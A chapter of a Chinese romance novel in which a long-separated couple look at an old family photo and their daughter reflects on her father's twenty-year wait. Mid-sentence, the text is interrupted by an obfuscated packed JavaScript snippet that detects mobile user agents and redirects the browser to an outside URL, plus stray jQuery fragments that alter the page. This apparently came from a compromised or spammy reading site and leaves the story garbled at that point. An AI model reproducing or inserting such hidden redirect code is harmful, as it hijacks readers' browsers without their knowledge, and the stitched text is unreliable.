窗外的夕阳一寸寸落下去，把天边染成温柔的橘红色。
那两棵梧桐树的影子在地上拉得很长，交叠在一起，像是两个依偎了许久的人。
何思玥看着那些影子，忽然想起很多年前，上海那栋小洋楼前，也有梧桐树。
那时候念玥刚会走路，摇摇晃晃地想去够落下来的叶子，怀安坐在台阶上，一本正经地看着妹妹闹。
那时候她以为，那样的日子会一直持续下去。
“想什么呢？”沈晏轻声问。
“想起我们在上海那些日子。”何思玥说，“想上海那会儿，想两个孩子小时候的样子。”
沈晏沉默了一会儿，说：“怀安现在走路的样子，还像他小时候。稳稳当当的，一步一步，从不着急。”
“念玥呢？”
“念玥呀，她有一点像你。”沈晏的语气里带了笑，“做什么都风风火火，嘴上不饶人，心里比谁都软。”
何思玥也笑了。
是啊，两个孩子都长大了。怀安成了稳重的男子汉，念玥成了利落的大姑娘。他们有了自己的日子，有了自己的家，有了自己的孩子，他们长成了很好很好的人。
而她，错过了他们二十年的成长。
这个念头涌上来，心口一阵揪心的疼。
沈晏似乎感觉到了什么，侧头看她：“怎么了？”
何思玥摇摇头，没有说话。
“你还记得我们的全家福嘛，我还收着，我去拿给你看看。”
何思玥愣了一下。
全家福。
那张让他们分离二十年的全家福。
沈晏已经起身，走到柜子前，打开最上面那层抽屉。他的手有些抖，在抽屉里翻了一会儿，拿出一个用红绸布包着的东西。
他走回来，在她身边坐下，把那个红绸包轻轻放在她手心里。
“打开看看。”
何思玥低下头，手指微微发颤。她解开红绸，一层，又一层。绸布很旧了，边角已经磨得发毛，却洗得干干净净。
最后一层揭开，露出里面的东西。
是那张全家福。
照片已经泛黄，边角有些破损，可画面还是那样清晰，她坐在椅子上，穿着那件藕荷色旗袍，怀里抱着念玥。
沈晏站在她身边，抱着怀安，手揽着她的肩。两个孩子都看着镜头，念玥的眼睛瞪得圆圆的，怀安则是一副小大人的模样。
他们都笑着。
何思玥的眼泪一下子涌出来。
“这张照片……”她哽咽着，“我以为……我以为再也没有机会看到了……”
“没有。”沈晏轻轻握住她的手，“你忘了？那天早上我出门取照片，正好赶上打仗。照片我一直带在身上，后来逃难，后来来北平，什么都没带，就带了我们的全家福。”
他的声音很轻，像是在回忆很远很远的事。
“那几年最难的时候，我就把这张照片拿出来看看。看着看着，就觉得你还在。看着看着，就觉得还能撑下去。”
何思玥抬起头看他，她怎么不记得呢，这么多年她一直想，如果当初她和沈晏一起出门选照片，两人是不是就不会分开这么久。
她透过满眼的泪，看见他的眼眶也红了。
“怀安和念玥小时候，我常给他们看这张照片。”沈晏继续说，“我跟他们说，这是妈妈。妈妈抱着妹妹，爸爸抱着哥哥。他们那时候小，看不太懂，就指着照片里的人叫妈妈、爸爸。”
他顿了顿，声音有些哽。
“后来他们长大了，就不怎么看了。可我知道，他们心里一直有这张照片。一直有你的样子。”
何思玥低下头，又看那张照片。
照片里的她那么年轻，眉眼间还有未褪去的青涩。她记得那天拍照时的心情，记得沈晏揽着她肩膀时掌心的温度，记得两个孩子在她怀里扭来扭去的样子。
而今，两人头发斑白，脸上多了一些岁月的痕迹。
“沈晏。”
“嗯？”
“对不起。”她说，声音轻得像叹息，“对不起，让你等了那么久。对不起，让孩子们等了那么久。”
沈晏摇摇头，把她揽进怀里。
“不怪你。”他说，“你也在等我们。你等得更苦。”
何思玥靠在他肩上，看着窗外那两棵梧桐树。
“以后，”她说，“每年拍一张全家福。”
“好。”
“拍到拍不动的那天。”
“好。”
“拍完就种在梧桐树下。”
沈晏低下头，吻了吻她的发顶。
“好。”
何思玥闭上眼睛，嘴角带着淡淡的笑意。
沈晏沉默了片刻，忽然开口：“思玥，你知道我这些年，最怕什么吗？”
何思玥眉头紧缩地看向他。
“我最怕的，不是找不到你。”沈晏看着窗外那两棵梧桐树，声音很轻，“我最怕的，是孩子们长大了，忘了你长什么样。”
何思玥的眼眶又热了。
“所以我天天跟他们讲你的事。”沈晏继续说，“讲你怎么救人的，讲你怎么怼我的，讲你给他们做的小衣服，讲你抱着他们哼的歌。我一遍一遍地讲，讲到他们都背下来了。”
他转过头，看着她。
“他们没忘，一天都没有忘记过你。”
何思玥的眼泪终于落下来，她把脸埋进他肩窝里，闷闷地说：“沈晏，你怎么这么好？”
沈晏笑了一声，那笑声轻轻的，带着一点得意。
“好什么好？不是我好，是你的好值得我等你那么多年。”他说。
何思玥在他肩上蹭了蹭眼泪，抬起头，看着窗外那两棵梧桐树，那两棵树静静站在院子里，枝丫交错，像两个沉默的守望者。
“沈晏。”
“嗯？”
“以后我走了，就埋在这树下吧。”
沈晏的身体僵了一下。
他低头看她，看了很久，暮色里，她的脸苍白消瘦，可那双眼睛还是那样清亮，那样温柔地看着他。
他把她抱得更紧了一些，“我不许你说这样子的话，我们还有好多好多年。”他闷闷地说。
何思玥笑了笑，没有再说什么。
她只是靠在他肩上，闭上眼睛，听着他的心跳。一下，一下，那么稳，那么有力。像这二十年来她梦里听过无数次的那样。
夜渐渐深了。
沈晏没有挣脱，他就那样抱着她，看着窗外那两棵梧桐树，看着夜色一点点吞没它们的轮廓。
他的眼眶也是热的，他偷偷的去医院找过医生，说她这个病有复发的风险。
可他不想去想，好不容易等到她，他不想把时间浪费在没有发生的事情上。
他只想这样抱着她，一直抱着她。像这两棵梧桐树一样，枝丫交错，根须缠绕，永远不分开。
不知过了多久，沈念玥轻轻推开门，探进头来。
看见父母依偎在一起的样子，她愣了一下，又悄悄退了出去。
她站在门外，抬头看天。
月亮升起来了，又圆又亮。月光洒在那两棵梧桐树上，洒在这间小小的院子，洒在她微红的眼眶上。
她在心里默默说：妈，您多陪陪我们，多陪陪我爸。
再多陪陪。
这么多年，你们彼此的思念太久了，久到我们以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273292|193555||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为没有再见面的日子；你们的思念太长了，长到跨别二十年，彼此都没有再婚，心里依旧住着彼此。
......
夜深了。
沈念玥在院子里站了不知道多久。
月光把梧桐树的影子拉得很长，铺了满地。她低头看着那些交错的枝影，想起小时候，父亲常抱着她坐在这树下，给她讲妈妈的故事。
“妈妈是老师，教会学生许多知识。”
“妈妈是医生，救过很多人。”
“妈妈很勇敢，什么都不怕。”
“妈妈的眼睛很亮，像星星一样。”
那时候她不懂，为什么讲着讲着，父亲的眼眶就红了。
后来她长大了一些，开始懂了。
懂了父亲为什么总是一个人坐在树下发呆，懂了为什么过年时父亲总是多摆一副碗筷，懂了为什么别人给父亲介绍对象，父亲只是摇摇头说“我有妻子”。
她问过父亲：“爸，您等了这么多年，万一妈妈回不来呢？”
父亲沉默了很久，说：“那我就一直等。”
“等到什么时候呢？”
“等到等不动的那天，等到我收到她消息的那一天，等到我离开的那一天，或许老天爷可怜我，舍不得我等那么久，会让我知道你们母亲的消息。”
沈念玥那时候觉得父亲傻。这世上哪有人等一个人等二十年？
可现在她懂了。
不是傻。是爱。
是那种刻进骨头里、融进血液里的爱。
是那种隔着千山万水、隔着生离死别也断不了的爱。
是那种哪怕全世界都说你回不来了，我也要等下去的爱。
屋里传来轻微的说话声，是母亲在笑。那笑声轻轻的，却暖得像春天的风。
沈念玥听着那笑声，眼泪终于落下来。
妈，您知道吗？
您不在的这些年，父亲一个人扛起了所有。他带着我和哥哥逃难，带着我们找住处，带着我们过日子。他白天忙工作，晚上哄我们睡觉，夜里一个人对着窗外发呆。
他从不跟我们说苦，可我们知道他苦。
他从不跟我们说想您，可我们知道他想。
因为他看您的照片，一看就是半个时辰。因为过年的时候，他总是一个人喝酒，喝到半夜。
因为每次有人从南方来，他都要打听很久很久，问有没有见过一个姓何的女医生。
他等了您二十年，没有一天放弃过。
沈念玥抬起头，看着那轮圆月。
月光那么亮，那么温柔，像母亲的眼睛。
她轻轻说：“妈，您一定要好好的。您和我爸，一定要再多陪陪我们。把那些年错过的，都补回来。”
屋里，何思玥靠在沈晏肩上，已经睡着了。
她的呼吸轻轻的，睡容安详。月光透过窗棂洒在她脸上，把那些病容都柔和了几分，让她看起来像许多年前那个在梧桐树下等他下班的年轻女子。
沈晏没有睡。
他低着头，看着她，看着她的睡颜，看着她微微皱起的眉头，看着她苍白的唇色。
他轻轻抬起手，把一缕散落的碎发拢到她耳后。
“思玥，”他极轻极轻地说，“你知不知道，我等这一天，等了多久？”
没有人回答。
只有月光，静静地洒在他们身上。
沈晏把她抱得更紧一些。
“以后每一天，”他说，“我都会这样抱着你。把那些年错过的，都补回来。”
窗外，梧桐树的枝丫在夜风里轻轻摇曳。
它们的根紧紧缠绕，它们的枝紧紧相依。
像他们一样。